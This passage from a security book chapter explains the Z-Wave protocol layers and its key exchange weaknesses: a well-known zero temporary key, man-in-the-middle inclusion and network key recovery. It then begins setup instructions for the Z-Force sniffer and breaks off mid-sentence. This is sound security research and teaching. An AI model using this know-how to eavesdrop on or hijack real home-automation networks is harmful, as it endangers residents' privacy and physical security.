understanding	of	the	functionality	of	the	protocol	before	we	explore	techniques	to	attack
Z-Wave	deployments.

Figure	14-1	Z-Wave	protocol	stack

	



Some	of	the	details	that	make	up	the	Z-Wave	protocol	are	described	in	the	following
pages,	taken	from	publicly	available	standards	documents,	presentations,	and	the	research
put	into	the	writing	of	this	chapter	by	the	author.	Where	possible,	the	details	presented
here	have	been	validated	through	observation	of	Z-Wave	protocol	activity.

Z-Wave	PHY	Layer
Z-Wave	is	one	of	several	protocols	that	are	repopularizing	the	use	of	the	sub-1-GHz	band
for	wireless	connectivity.	This	band	was	once	popular	for	many	wireless	applications,
including	one	of	three	initial	mediums	used	for	Wi-Fi	networks,	but	was	subsequently
deprecated	from	use	in	favor	of	the	worldwide	compatibility	of	the	2.4	GHz	band.	In
recent	years,	many	standards	bodies	(and	proprietary	protocol	vendors,	such	as	Sigma
Systems	with	Z-Wave)	have	made	a	return	to	the	sub-1-GHz	band	to	avoid	the	congestion
of	the	2.4	GHz	band	while	achieving	greater	transmission	distance	with	comparable
transmit	power	levels	at	the	lower	frequency.

The	phrase	sub-1-GHz	is	used	to	refer	to	frequency	use	allocated	by	local	governing
bodies	around	850–950	MHz.	Unlike	the	worldwide	availability	of	the	2.4	GHz	band,	the
sub-1-GHz	frequencies	vary	by	worldwide	region	and	country.	For	example,	in	the	United
States,	the	FCC	makes	the	902–928	MHz	band	available	for	unlicensed	use,	but	this
allocation	overlaps	with	the	GSM-900	band	(890–960	MHz)	used	in	many	places
throughout	the	world	(including	Europe,	the	Middle	East,	Africa,	Australia,	and	Asia).	In
Europe,	the	sub-1-GHz	band	refers	to	unlicensed	use	around	850	MHz	(overlapping	with
the	GSM-850	band	used	in	the	United	States	and	elsewhere	between	824	and	894	MHz).

The	challenge	for	manufacturers	utilizing	the	sub-1-GHz	band	is	to	accommodate	all
the	frequency	use	variations	permitted	in	different	countries	throughout	the	world.	This	is
one	area	where	Z-Wave	and	the	single-source	manufacturing	model	have	an	advantage—
device	manufacturers	rely	on	Sigma	Systems	to	abstract	the	frequency	use	challenges	with
country-specific	chips.	Accordingly,	Z-Wave	operates	using	several	locally	permitted
frequencies	depending	on	locale,	as	described	in	Table	14-1.



Table	14-1	Z-Wave	Frequency	Use

	

The	Z-Wave	protocol	also	operates	with	minor	frequency	variations	depending	on	the
physical	layer	modulation	and	rate	scheme	in	use.	European	Z-Wave	devices	have	been
reported	as	operating	at	868.42	and	868.4	MHz,	while	this	author	has	observed	US	Z-
Wave	devices	operating	at	both	908.42	and	908.4	MHz.

In	2012,	the	International	Telecommunication	Union	(ITU)	published
Recommendation	ITU-T	G.9959	“Short	range	narrow-band	digital	radiocommunication
transceivers—PHY	and	MAC	layer	specifications.”	This	document	describes	the	low-level
functionality	of	the	Z-Wave	protocol,	focusing	on	the	physical	layer	components,	Media
Access	Control	(MAC)	framing,	and	operational	requirements	of	packet	transmission	and
reception.

From	the	ITU	specification,	we	learn	that	Z-Wave	devices	operate	in	one	of	three	RF
profiles	defining	the	physical	layer	radio	modulation,	encoding	mechanisms,	and	data
rates,	as	described	in	Table	14-2.	Some	sources	claim	that	the	slowest	Z-Wave	profile,	R1,
is	being	or	has	been	deprecated	by	the	Z-Wave	Alliance,	though	new	equipment	is	still
sold	using	this	configuration.



Table	14-2	Z-Wave	RF	Profile	Parameters

Z-Wave	operates	using	a	combination	of	transmit	power	capabilities	ranging	from	3
feet	to	75	feet,	depending	on	the	information	being	transmitted	and	the	power	source	of
the	transmitter.	Operating	in	a	mesh	network	configuration,	Z-Wave	is	able	to	achieve
reasonable	coverage	in	most	homes,	using	persistent-powered	repeater	devices	to	forward
transmissions	to	other	network	nodes	(e.g.,	battery-powered	Z-Wave	devices	do	not
participate	in	network	forwarding	for	other	nodes	as	part	of	a	battery	conservation
strategy).

Z-Wave	MAC	Layer
The	Z-Wave	MAC	layer	is	responsible	for	several	attributes	of	the	Z-Wave	protocol,
including

•		Packet	framing	and	formatting

•		Positive	acknowledgement

•		Error	detection

•		Retransmission	of	packets

•		Unicast,	broadcast,	and	multicast	processing

•		Address	selection	and	allocation	functions

The	basic	architecture	of	a	Z-Wave	network	consists	of	controller	devices	and	slave
devices.	A	single	primary	controller	device	is	responsible	for	establishing	the	network	and
selecting	a	unique	network	identifier	(the	HomeID).	Controller	devices	are	able	to	initiate
a	transmission	on	the	network	(polling	or	updating	target	devices)	and	are	responsible	for
maintaining	network	routing	information.	By	contrast,	slave	devices	follow	the
instructions	of	controllers	without	worrying	about	network	routing	or	the	need	to	initiate
connections	to	other	Z-Wave	devices.

Z-Wave	controller	devices	are	further	defined	as	portable	or	static	controllers:

•		A	portable	controller	device	is	typically	battery	powered	and	is	capable	of
relearning	network	topology	as	it	moves	about	the	home.	Portable	controller
devices	are	an	important	component	of	the	Z-Wave	inclusion	process,	which	we
examine	shortly.

•		A	static	controller	device	is	powered	through	a	consistent	source	(such	as	an



AC	adapter)	and	may	also	be	connected	to	other	networks,	providing	gateway
services	between	the	Z-Wave	network	and	an	IP	network.

Both	static	controller	devices	and	slave	devices	with	a	consistent	power	source	can	also
participate	in	message	forwarding	on	the	network.	These	devices	are	always	listening	for
network	traffic	to	form	the	meshed	bridging	infrastructure	and	extend	the	range	of	the
network,	up	to	four	hops.

Figure	14-2	Z-Wave	R1/R2	MAC	unicast	frame	format

The	Z-Wave	frame	format	varies,	depending	on	the	RF	profile	in	use.	The	basic
unicast	frame	format	applicable	to	R1/R2	Z-Wave	networks	is	shown	in	Figure	14-2.	The
unicast	frame	format	used	by	R3	networks	is	shown	in	Figure	14-3.

Figure	14-3	Z-Wave	R3	MAC	unicast	frame	format

Each	Z-Wave	network	is	uniquely	identified	by	a	randomly	selected	value	known	as
the	HomeID	that	is	transmitted	as	the	first	four	bytes	of	each	packet.	The	HomeID	is
similar	in	functionality	to	the	IEEE	802.11	BSSID	or	the	ZigBee	PAN	ID,	used	to
differentiate	multiple	Z-Wave	networks	in	close	physical	proximity,	and	to	associate	all
the	Z-Wave	nodes	participating	in	the	same	network.	The	HomeID	is	randomly	selected
by	the	primary	controller	when	the	network	is	established.

Following	the	HomeID	is	the	1-byte	NodeID	field	that	represents	the	locally	unique
source	address	of	the	Z-Wave	node	using	the	allocation	strategy	shown	in	Table	14-3.
When	a	Z-Wave	node	is	added	to	the	network	(through	the	inclusion	process,	detailed	later
in	this	chapter)	the	primary	controller	allocates	a	NodeID	used	by	the	device	in	the	range
1–232.	The	Z-Wave	node	uses	this	value	for	the	NodeID	in	all	subsequent	transmissions.
As	a	result,	the	Z-Wave	network	is	limited	to	a	maximum	of	232	nodes,	as	described	in
Table	14-3.



Table	14-3	NodeID	Address	Values

	

In	this	author’s	experience,	Z-Wave	devices	do	not	always	comply	with	the	MAC-
specification	rules	for	address	allocation.	It	is	common	to	see	NodeID	values	in	the
reserved	block	used	by	controller	devices.

The	16-bit	frame	control	field	represents	several	subfields	with	two	reserved	bits	as
shown	in	Figure	14-4	and	Figure	14-5:

•		Routed	Used	to	indicate	if	the	packet	has	been	routed	by	another	node	prior
to	delivery.

•		Ack	Request	Used	to	indicate	that	the	receiving	node	should	acknowledge
the	packet.

•		Low	Power	Used	to	indicate	that	the	packet	was	transmitted	using	low-
power	output	for	reduced	range.

•		Speed	Modified	(R1/R2	only)	Used	to	indicate	when	a	packet	is	transmitted
at	a	lower	data	rate	than	what	is	supported	by	the	source	and	destination.

•		Header	type	Used	to	indicate	the	packet	type,	one	of	singlecast	(unicast),
multicast,	or	acknowledgement;	broadcast	frames	use	the	header	type	singlecast
with	a	destination	NodeID	of	0xFF.

•		Beam	Control	Used	to	indicate	that	the	node	shall	be	woken	from	a	power-
conservation	state	with	a	continuous	transmission	“beam.”

•		Sequence	number	(R1/R2	only)	Used	to	identify	a	packet	for	subsequent
acknowledgement;	older	implementations	of	Z-Wave	do	not	populate	this	field,
repeating	the	sequence	number	zero	for	all	packets.



Figure	14-4	Z-Wave	R1/R2	MAC	frame	control	field

Figure	14-5	Z-Wave	R3	MAC	frame	control	field

The	length	field	that	follows	the	frame	control	field	indicates	the	length	of	the	entire
packet	(the	MAC	Protocol	Data	Unit	or	MPDU)	including	the	header,	payload,	and	FCS
information.

The	Destination	NodeID	is	present	in	unicast	and	multicast	frames	(absent	from
acknowledgement	frames)	to	indicate	the	intended	packet	recipient.	The	data	payload
follows,	which	can	range	from	0	to	54	bytes	in	R1/R2	nonmulticast	packets	and	0	to	25
bytes	in	multicast	packets.	For	R3	packets,	the	data	payload	can	be	0–158	bytes,	except
for	multicast	packets,	which	cannot	exceed	129	bytes.

Finally,	the	Frame	Check	Sequence	(FCS)	provides	a	simple	integrity	check	for	the
packet	content	using	an	XOR	checksum	for	R1/R2	packets	or	a	CRC-16	for	R3	packets.

Now	that	we’ve	covered	the	MAC	layer	with	sufficient	detail	to	explain	the	attacks
we’ll	look	at	later	in	this	chapter,	let’s	take	a	look	at	the	Z-Wave	network	layer.

Network	Layer
The	network	layer	defines	device	responsibilities	(such	as	controller	and	slave	devices),
and	is	responsible	for	other	network	components	such	as	the	HomeID	selection	and
NodeID	allocation	process	as	well	as	network	route	establishment.	One	area	that	is
particularly	interesting	from	a	security	perspective	is	the	concept	of	Z-Wave	node
inclusion	and	exclusion.

When	a	user	wants	to	add	a	Z-Wave	device	to	the	network,	she	must	complete	the	Z-
Wave	inclusion	process.	Typically,	this	involves	configuring	the	controller	in	inclusion
mode	(allowing	it	to	accept	new	nodes)	by	pressing	a	physical	button	or	choosing	a	menu
item,	and	pressing	a	button	on	the	new	node	to	initiate	an	inclusion	exchange.	When	the
new	node	initiates	the	inclusion	process,	it	sends	a	Z-Wave	node	information	frame	using
a	HomeID	of	0x00000000	and	a	NodeID	of	0x00	and	a	broadcast	destination	NodeID.	The



node	information	frame	discloses	to	the	controller	the	capabilities	of	the	new	device,
which,	in	turn,	allocates	a	NodeID	to	the	new	device	for	subsequent	use	on	the	network
and	updates	routing	tables	to	accommodate	packet	delivery	to	the	new	node.

A	similar	but	functionally	opposite	process	is	Z-Wave	node	exclusion.	A	node	that	has
joined	the	Z-Wave	network	through	inclusion	cannot	leave	the	network	to	join	a	different
Z-Wave	controller	without	first	completing	the	exclusion	process.	Like	the	Z-Wave
inclusion	process,	exclusion	typically	involves	pressing	a	physical	button	on	the	controller
and	the	device	node,	causing	the	device	to	return	to	using	the	unallocated	NodeID	of
0x0000.

The	simplicity	of	the	inclusion	and	exclusion	process,	along	with	the	physical
requirement	of	pressing	a	button	on	both	devices,	is	a	strong	component	of	the	overall	Z-
Wave	security	model.	Without	physical	access	to	the	controller,	devices	cannot	be
manipulated	into	leaving	the	network	(exclusion)	and	an	attacker	cannot	join	the	network
with	a	new	device.	As	you’ll	see	later,	well-behaving	Z-Wave	devices	follow	these	rules,
but	an	attacker	with	low-level	access	to	the	Z-Wave	MAC	and	network	layers	can
implement	NodeID	spoofing	attacks	to	interact	with	other	nodes	over	an	unencrypted	Z-
Wave	network.	To	remedy	this	and	other	associated	attacks,	Z-Wave	networks	also	offer
an	optional	security	layer	implemented	at	the	application	layer.

Application	Layer
The	Z-Wave	application	layer	is	responsible	for	parsing	and	processing	the	data	requests
and	responses	in	the	packet	payload.	The	application	layer	handles	both	application-
specific	data	and	Z-Wave	application	control	data.	The	basic	application	payload	format	is
shown	in	Figure	14-6.

Figure	14-6	Z-Wave	application	payload	format

Z-Wave	uses	application	command	classes	to	differentiate	actions	and	responses	on
the	network.	While	the	command	classes	themselves	are	not	openly	documented	by	the	Z-



Wave	Alliance,	open	source	projects	such	as	the	OpenZWave	Library	identify	numerous
command	classes	used	for	application	functionality;	a	short	list	of	these	command	classes
is	presented	in	Table	14-4.

Table	14-4	Z-Wave	Command	Class	Examples

Each	command	class	supports	one	or	more	commands	within	the	class	that	define	the
basic	functionality	of	the	application	layer.	For	example,	the	basic
CLASS_SWITCH_ALL	command	class	is	used	by	Z-Wave	devices	to	control	multiple
network	devices	for	power	on/off	control	(so	a	consumer	can	shut	off	all	participating	Z-
Wave	devices	such	as	lights	and	other	appliances	with	a	single	button	press).	The
CLASS_SWITCH_ALL	class	supports	multiple	commands	that	define	the	functionality	of
devices	participating	in	this	class:

•		SWITCH_ALL_SET	Configures	the	device	to	participate	in	or	exclude
itself	from	the	all	on/off	command	functionality.

•		SWITCH_ALL_GET:	Asks	the	device	to	report	on	its	status	regarding
participation	in	the	all	on/off	command	functionality.	A	device	may	participate	in
all	on/off,	not	participate	in	all	on/off,	or	participate	only	when	the	command	is	all
on	or	all	off	(but	not	both).

•		SWITCH_ALL_REPORT	Discloses	responses	from	the	switch	regarding
the	all	on/off	participation	properties	of	the	device	following	a
SWITCH_ALL_GET	request.

•		SWITCH_ALL_ON	Instructs	the	switches	in	the	network	to	all	turn	on
based	on	their	participation	in	the	all	on/off	command	functionality.

•		SWITCH_ALL_OFF	Instructs	the	switches	in	the	network	to	all	turn	off
based	on	their	participation	in	the	all	on/off	command	functionality.

Each	Z-Wave	application	has	a	well-defined	set	of	functionality	based	on	the	device
type	and	the	manufacturer	application	command	class	support.	The	data	payload	that
follows	the	command	class	and	command	fields	varies	depending	on	the	frame	command
functionality.

The	availability	of	the	ITU-T	G.9959	specification	and	open	source	projects	such	as
OpenZWave	were	instrumental	to	understanding	and	documenting	the	proprietary	Z-Wave



protocol.	Next	we	look	at	the	security	functionality	present	in	Z-Wave,	for	which	very
little	documentation	is	available.

Z-Wave	Security
In	the	fourth	generation	of	the	Z-Wave	specification,	the	Z-Wave	Alliance	added	security
controls	to	the	protocol.	As	is	common	for	other	protocols,	the	security	requirements	for
crucial	Z-Wave	deployments	are	at	odds	with	the	need	for	low-cost	and	simple
deployment.	When	designing	Z-Wave,	it	is	apparent	that	the	Z-Wave	Alliance	considered
the	needs	for	security	and	operational	ease	of	use	carefully,	creating	a	protocol	that
provides	reasonable	security	within	the	usage	constraints.

	

The	Z-Wave	Alliance	provides	no	public	documentation	that	describes	the	security
mechanisms	used	for	Z-Wave.	In	2013,	Behrang	Fouladi	and	Sahand	Ghanoun,
consultants	with	information	security	consulting	firm	SensePost,	delivered	a	presentation
and	paper	on	their	research	on	the	security	of	the	Z-Wave	protocol	at	the	BlackHat	Las
Vegas	conference.	The	results	of	Fouladi	and	Ghanoun’s	research	were	not	confirmed	or
denied	by	the	Z-Wave	Alliance,	but	were	sufficient	for	subsequent	analysis	and	validation
by	this	author.

Z-Wave	uses	the	AES-OFB	(Output	Feedback	Mode)	protocol	to	provide	data
confidentiality	on	the	network	while	using	the	AES	CBC-MAC	protocol	to	provide	data
integrity	protection.	These	protocols	are	well	established,	with	the	CBC-MAC	protocol
used	in	many	other	critical	cipher	suite	implementations	as	well.	The	AES-OFB	protocol
is	less	common,	though	a	smart	choice	to	conserve	the	amount	of	payload	content
transmitted	in	Z-Wave	frames	while	still	being	an	NIST-approved	block	cipher	mode	of
operation.

	

Here,	MAC	refers	to	the	message	authentication	code,	not	to	be	confused	with	layer-two
Media	Access	Control.

What	is	more	interesting	about	Z-Wave	is	how	the	AES	CBC-MAC	and	AES-OFB
protocols	are	used	and,	specifically,	how	key	generation	is	applied	to	the	security	of	a	Z-
Wave	network.

As	shown	in	Table	14-4,	the	Z-Wave	protocol	implements	a	CLASS_SECURITY
command	class	that	is	used	to	exchange	security	information	between	devices.	When	a	Z-
Wave	device	that	supports	the	security	class	is	included	in	the	network,	it	completes	a	key
exchange	process	to	derive	keys	for	subsequent	use	in	encryption	and	data	integrity
protection,	as	shown	in	Figure	14-7.



Figure	14-7	Z-Wave	key	exchange	process

In	steps	1	and	2	of	the	key	exchange	process,	the	controller	and	the	secure	device
prepare	for	the	key	exchange.	This	is	vital	to	the	process,	allowing	for	the	controller	to
establish	that	the	device	supports	the	CLASS_SECURITY	command	class.	Next	the
controller	requests	and	the	secure	device	returns	a	nonce	value	(here,	Nonced	for	the
Device	Nonce).	With	the	nonce	value,	the	controller	encrypts	the	network	key,	Kn,	using
the	temporary	key,	K0.	The	network	key	is	randomly	selected	by	the	controller	when	the
network	is	established	and	is,	therefore,	unique	for	each	Z-Wave	network.	By	contrast,	the
temporary	key	is	an	array	of	16	bytes	of	0x00.

When	the	secure	device	receives	the	encrypted	network	key	Kn	and	MAC	from	the
controller,	it	validates	the	MAC	and	decrypts	the	message	with	K0.	The	secure	device	then
registers	the	decrypted	Kn	as	the	current	key.	Next,	the	secure	device	requests	a	nonce
from	the	controller	(here,	Noncec	for	the	Controller	Nonce).	With	the	nonce	value,	the
secure	device	encrypts	a	“key	set	OK”	message	(hex	value	0x07)	with	Kn.	The	controller
that	receives	the	“key	set	OK”	message	validates	that	the	packet	was	encrypted	using	Kn
by	validating	the	MAC.

The	Z-Wave	key	exchange	process	is	vulnerable	to	several	attacks:

•		MitM	attack	The	secure	device	does	not	validate	the	identity	of	the
controller,	other	than	validating	the	MAC	of	the	encrypted	Kn	message	using	the
temporary	key,	K0.	An	attacker	can	use	any	Z-Wave	controller	that	supports	the
CLASS_SECURITY	command	class	to	intercept	the	inclusion	process	with	a
target	device,	causing	the	victim	to	associate	to	a	malicious	network.



•		Key	recovery	attack	There	is	no	confidentiality	protection	in	the	delivery	of
the	Kn	key	over	the	network	since	the	K0	key	is	well	known.	An	attacker	who
passively	observes	the	inclusion	process	using	CLASS_SECURITY	can	recover
the	network	key,	Kn,	and	use	it	to	subsequently	decrypt	and	forge	arbitrary	packets
on	the	network.

Most	likely,	the	Z-Wave	Alliance	recognized	these	vulnerabilities	in	the	key	exchange
process	early	in	the	development	of	the	Z-Wave	security	framework.	The	vulnerabilities	in
the	Z-Wave	key	exchange	process	are	not	unique	to	Z-Wave	and	are	generally	difficult	to
solve	without	costly	changes	to	the	system	architecture	and	significant	protocol
complexity.	To	address	these	vulnerabilities	while	minimizing	the	cost	to	the	overall
system,	the	Z-Wave	Alliance	added	a	new	wrinkle	to	the	process:	low	power	inclusion
mode.

Low	power	inclusion	mode	is	aptly	named:	the	controller	and	the	secure	device
transmit	using	minimal	transmit	power	capabilities,	requiring	the	devices	be	no	more	than
3	feet	(1	meter)	apart	to	complete	the	process.	Using	the	modern	radio	transmitter
capability	of	dynamic	Transmit	Power	Control	(TPC),	the	controller	and	secure	device
temporarily	switch	to	minimal	transmit	output	power	capability	to	minimize	the
opportunity	for	an	attacker	to	eavesdrop	on	the	inclusion	and	key	exchange	process.
Although	not	a	perfect	security	solution,	the	combination	of	low	power	inclusion	mode
and	the	relative	infrequent	practice	of	adding	new	devices	to	the	Z-Wave	network	make	it
unlikely	that	an	attacker	can	successfully	exploit	these	vulnerabilities	in	the	key	exchange
protocol	design.

	

The	use	of	low	power	inclusion	mode	assumes	that	at	least	one	of	the	Z-Wave	devices	is
portable	and	can	be	moved	within	the	short	distance	needed	to	complete	the	inclusion
process.	Since	it	is	possible	that	two	devices	may	have	fixed	locations,	many	Z-Wave
devices	include	an	override	mode	in	which	the	inclusion	process	can	be	performed	using
higher	transmit	power	levels.	This	condition	makes	the	system	more	susceptible	to	attack,
but	still	benefits	from	the	relative	infrequency	of	device	inclusion	to	minimize	the
probability	of	exploitation.

After	loading	the	network	key,	Kn,	the	secure	device	generates	two	additional	keys,	Kc
(packet	encryption	key)	and	Km	(message	authenticity	key),	using	the	AES-ECB
(Electronic	Codebook	Mode)	cipher:

Kc	=	AES-ECBKn(Passwordc)

Km	=	AES-ECBKn(Passwordm)

In	Fouladi	and	Ghanoun’s	paper,	they	indicate	that	the	Passwordc	and	Passwordm	values
are	statically	defined	in	the	Z-Wave	firmware	files	and	consistent	across	all	devices.	This
does	not	significantly	threaten	the	confidentiality	or	integrity	of	the	Z-Wave	protocol
security	suite,	as	long	as	the	Kn	value	remains	a	secret.



When	a	controller	wants	to	send	a	message	to	a	secure	slave	device,	it	must	first	poll
the	device	for	a	nonce	value	and	then	use	the	nonce	response	as	part	of	the	MAC
calculation.	When	the	slave	device	returns	the	nonce	value,	the	controller	selects	its	own
nonce	and	concatenates	the	slave	nonce	with	the	controller	nonce	to	form	the	IV	value.
With	the	IV	value,	the	controller	can	encrypt	the	packet	payload	(P)	using	the	IV	and	Kc,
and	then	calculate	the	MAC	using	Km.	The	MAC	calculation	covers	the	IV,	security
header	(HDR),	source	NodeID	(SRC),	destination	NodeID	(DST),	the	length	of	the
payload	(LEN),	and	the	encrypted	payload	(ENC(P)).	This	exchange	is	shown	in	Figure
14-8.

Figure	14-8	Z-Wave	encrypted	packet	delivery	process

By	including	the	source	and	destination	NodeID	values	in	the	MAC	calculation,	Z-
Wave	defeats	packet	forgery	attempts	that	manipulate	the	NodeID	fields.	Also,	Z-Wave
achieves	replay	protection	by	soliciting	the	nonce	from	the	secure	device	before
transmission.	When	the	secure	device	receives	the	transmission	from	the	controller,	it
compares	the	last	eight	bytes	of	the	IV	to	the	previously	selected	nonce	to	ensure	they
match	before	processing	the	remainder	of	the	packet	contents.	If	an	attacker	later	replays	a
previously	transmitted	encrypted	packet,	the	recipient	will	recognize	that	the	last	eight
bytes	of	the	IV	do	not	match	the	nonce	issued	to	the	controller	and	will	drop	the	packet.

Without	a	canonical	source	of	information	for	the	security	implementation	of	Z-Wave
devices,	evaluating	all	the	nuances	of	device	functionality	and	behavior	is	difficult.



Lacking	this	source	of	documentation,	we	are	forced	to	resort	to	experimentation	using
available	resources	and	tools,	leading	to	the	discovery	of	attacks	against	Z-Wave	devices.

Z-Wave	Attacks
Next	we	examine	several	attacks	against	Z-Wave	implementations.	As	a	proprietary	and
poorly	understood	technology	(outside	of	those	encumbered	by	Sigma	Systems’
nondisclosure	agreements),	the	tools	available	for	attacking	Z-Wave	networks	are
awkward	and	relatively	immature.	In	the	pages	that	follow,	we	provide	concise	guidance
for	using	the	available	tools,	although	this	is	certainly	an	area	where	continued
development	will	only	lead	to	the	growth	and	maturity	of	attack	platforms.

Eavesdropping	Attacks
A	common	attack	technique	against	any	wireless	network	is	simply	to	eavesdrop	on	the
network	traffic	to	observe	sensitive	data	transmitted	in	plaintext.	In	our	coverage	of	Z-
Wave	attack	techniques,	we’ll	leverage	three	primary	tools	for	multiple	techniques,
starting	with	eavesdropping	attacks.

Z-Force	Eavesdropping

Z-Force	is	a	Windows	tool	designed	by	Fouladi	and	Ghanoun	as	part	of	their	research
into	Z-Wave	vulnerabilities.	Z-Force	acts	as	a	basic	packet	sniffer,	with	additional	attack
functionality	that	we	examine	later	in	this	chapter.

For	the	sniffer	hardware,	Fouladi	and	Ghanoun	developed	custom	firmware	for	the
Texas	Instruments	CC1110	Mini	Development	kit	(part	number	CC1110DK-MINI-868).
This	kit	includes	two	CC1110	development	boards	and	the	Texas	Instruments	CC
Debugger	used	to	program	the	CC1110	chips.	The	two	development	boards	and	CC
Debugger	are	shown	in	Figure	14-9.



Figure	14-9	CC1110	Mini	Development	kit

The	CC1110	chip	is	a	System-on-Chip	(SoC)	that	includes	an	8-bit	8051
microprocessor	and	a	radio	interface	with	support	for	the	868	and	915	MHz	bands.	Since
Z-Wave	development	boards	are	not	available	without	an	NDA	from	the	Z-Wave	Alliance,
the	CC1110	Mini	Development	kit	is	a	nice	alternative	at	a	reasonable	price:	$75US.

As	a	development	kit,	the	CC1110DK	is	intended	for	developers	and	requires	some
additional	components	to	be	used	with	Z-Force:

•		Basic	through-hole	soldering	tools	(iron,	solder	wire,	helping	hands,	or	a
vise)

•		Two	breakaway	0.1”	2×7	male-to-male	headers	(such	as	Adafruit.com	part
number	1539,	cut	to	2×7)

•		Six	female-to-female	prototyping	jumpers	(such	as	Adafruit.com	part	number
266)

•		A	USB-to-UART	bridge	for	serial	access	(such	as	the	FTDI	Friend	from
Adafruit.com,	part	number	284)

	

We’ve	listed	part	numbers	for	the	online	electronics	shop	Adafruit.com,	but	these	or
similar	components	can	also	be	purchased	from	other	sources,	such	as	digikey.com,
mouser.com,	or	ebay.com.

First,	you	need	to	flash	the	CC1110DK	interfaces	with	the	Z-Force	firmware;	then	you
need	to	connect	the	CC1110DK	interfaces	to	the	USB-to-UART	adapter	and	connect	to
your	Windows	system	over	USB.	We’ll	look	at	both	these	steps.

Flashing	CC1110DK	Interfaces
The	CC1110DK	comes	preloaded	with	basic	“master/slave”	firmware	for	transmit	and
receive	testing	for	distance	estimation.	In	order	to	use	the	CC1110DK	interfaces	with	Z-
Force,	you	must	flash	alternative	firmware	on	both	the	interfaces.

http://Adafruit.com
http://Adafruit.com
http://Adafruit.com
http://Adafruit.com
http://digikey.com
http://mouser.com
http://ebay.com


Z-Force	is	designed	to	accommodate	two	simultaneous	CC1110DK	interfaces
connected	over	USB	serial	adapters:	one	handling	transmit	(TX)	and	a	second	handling
receive	(RX)	traffic.	You	need	to	flash	both	firmware	files,	each	on	a	different	CC1110DK
for	the	full	functionality	of	Z-Force.

The	authors	of	Z-Force	only	made	firmware	capable	of	receiving	and	transmitting	for
European	Z-Wave	frequencies.	Requests	for	access	to	the	project	source	code	by	this
author	were	denied;	the	authors	of	Z-Force	indicate	they	are	encumbered	by	an	NDA	that
prevents	them	from	releasing	the	source.	Fortunately,	it	is	possible	to	binary	patch	the
European-frequency	Z-Force	firmware	to	utilize	North	American	frequencies	as	well.	Skip
to	the	appropriate	section	(Europe	or	North	America)	in	the	content	that	follows	to	retrieve
the	firmware	files	for	your	regulatory	domain.

European	Z-Force	Frequency	Support	The	default	firmware	files	included	with	Z-Force
support	the	868.4	MHz	frequency	used	by	the	Z-Wave	R2	radio	profile	at	40	Kbps.
Download	the	RX	and	TX	firmware	files	from	the	Z-Force	SVN	repository	at
https://code.google.com/p/z-force/source/browse	(in	trunk/firmware).

The	Z-Force	firmware	files	are	distributed	in	binary	format,	but	we	need	to	convert
them	to	an	Intel	Hex	format	to	flash	onto	the	CC1110DK	sticks.	To	convert	the	firmware
files,	download	the	SRecord-Win32	tools	from
http://sourceforge.net/projects/srecord/files/srecord-win32.	Unzip	the	srecord-X.YY-
win32.zip	file	(where	X.YY	is	the	most	recent	version	of	SRecord),	and	copy	the
srec_cat.exe	binary	to	the	directory	where	the	Z-Force	firmware	files	are	stored.	Open	a
command	shell	and	change	to	this	directory	to	convert	the	files	from	binary	to	Intel	Hex
format,	as	shown	here:

Next,	we	can	flash	the	two	firmware	files	onto	the	CC1110DK	boards.	Skip	to	the
section	“CC1110DK	Firmware	Flashing”	next.

North	American	Z-Force	Frequency	Support	To	accommodate	Z-Force	use	in	North
America,	this	author	created	a	modified	version	of	the	Z-Force	firmware,	available	at
http://www.willhackforsushi.com/code/z-force-northamerica.zip.	Download	and	unzip	this
file	to	retrieve	the	two	firmware	files:	Z-Force_Firmware_RX-US	and	Z-
Force_Firmware_TX-US.

The	Z-Force	North	America	download	includes	both	the	binary	and	the	Intel	Hex-
format	firmware	files,	as	well	as	detailed	notes	on	the	modifications	made	to	support
North	America	Z-Wave	frequencies.

CC1110DK	Firmware	Flashing
Regardless	of	which	firmware	file	you	are	using,	the	process	for	flashing	the	firmware	on
the	CC1110DK	hardware	is	the	same.	First,	connect	the	CC1110DK	to	the	CC	Debugger
with	the	DBG_CONNECTOR	board,	as	shown	in	Figure	14-10.	Connect	the	jumper

https://code.google.com/p/z-force/source/browse
http://sourceforge.net/projects/srecord/files/srecord-win32
http://www.willhackforsushi.com/code/z-force-northamerica.zip


bridging	the	3	and	4	pins	below	the	CC1110	chip.	Connect	the	CC	Debugger	USB
interface	to	your	host	system	for	use	with	the	SmartRF	Flash	Programmer.

The	SmartRF	Flash	Programmer	tool	allows	you	to	interact	directly	with	the	TI
CC1110	chip,	reading	and	writing	firmware	files.	Download	SmartRF	Flash	Programmer
from	http://www.ti.com/tool/flash-programmer,	unzip	the	file,	and	launch	the	installer,
completing	the	installation	process.	Next,	launch	the	SmartRF	Flash	Programmer
software.

	

At	the	time	of	this	writing,	Texas	Instruments	has	recently	launched	SmartRF	Flash
Programmer	2	on	the	same	download	page	as	SmartRF	Flash	Programmer.	The	“v2”
software	is	incompatible	with	the	CC	Debugger	that	ships	with	the	CC1110DK.	Stick	with
the	SmartRF	Flash	Programmer	software	(the	non-v2	version)	for	these	steps.

When	you	launch	the	SmartRF	Flash	Programmer	software,	you	may	be	prompted	to
update	the	firmware	on	the	CC	Debugger.	Complete	this	firmware	update	before
proceeding.

With	the	SmartRF	Flash	Programmer	software	open,	select	the	Z-Force	firmware	file
to	flash,	choosing	the	action	Erase,	Program	And	Verify.	Select	the	CC	Debugger	interface
indicating	that	it	is	connected	to	the	CC1110	chip,	and	click	Perform	Actions,	as	shown	in
Figure	14-11.	If	the	SmartRF	Flash	Programmer	does	not	list	the	CC1110	chip	for
flashing,	make	sure	you	have	the	DBG_CONNECTOR	cable	oriented	correctly	(as	shown
in	Figure	14-10)	and	the	jumper	is	placed	across	pins	3	and	4.

http://www.ti.com/tool/flash-programmer


Figure	14-10	CC1110DK	CC	Debugger	connection

Figure	14-11	SmartRF	Flash	Programmer

	

After	successfully	flashing	the	CC1110DK	stick	with	the	Z-Force	firmware,	both	the	red
and	the	green	LEDs	will	be	lit.



Repeat	the	flashing	process	for	both	CC1110DK	boards,	once	using	the	RX	firmware
and	again	with	the	TX	firmware.	We	recommend	labeling	the	boards	to	indicate	which	is
RX	and	which	is	TX	because	there	is	no	visual	difference	between	the	two.

With	the	CC1110DK	interfaces	flashed	with	the	European	or	North	American	Z-Force
firmware,	you	can	disconnect	the	CC	Debugger	interface	from	the	board	and	proceed	to
wiring	the	device	for	use	with	Z-Wave	using	the	USB-to-UART	bridge.

Wiring	CC1110DK	Interfaces
To	use	the	CC1110DK	interfaces,	first	solder	the	male-to-male	breakaway	headers	to	the
INTIO	socket	on	the	CC1110DK,	cutting	the	headers	to	2×7	pins	if	needed.	Next,	use	the
prototyping	jumpers	to	connect	the	CC1110DK	male	header	pins	to	the	USB-to-UART
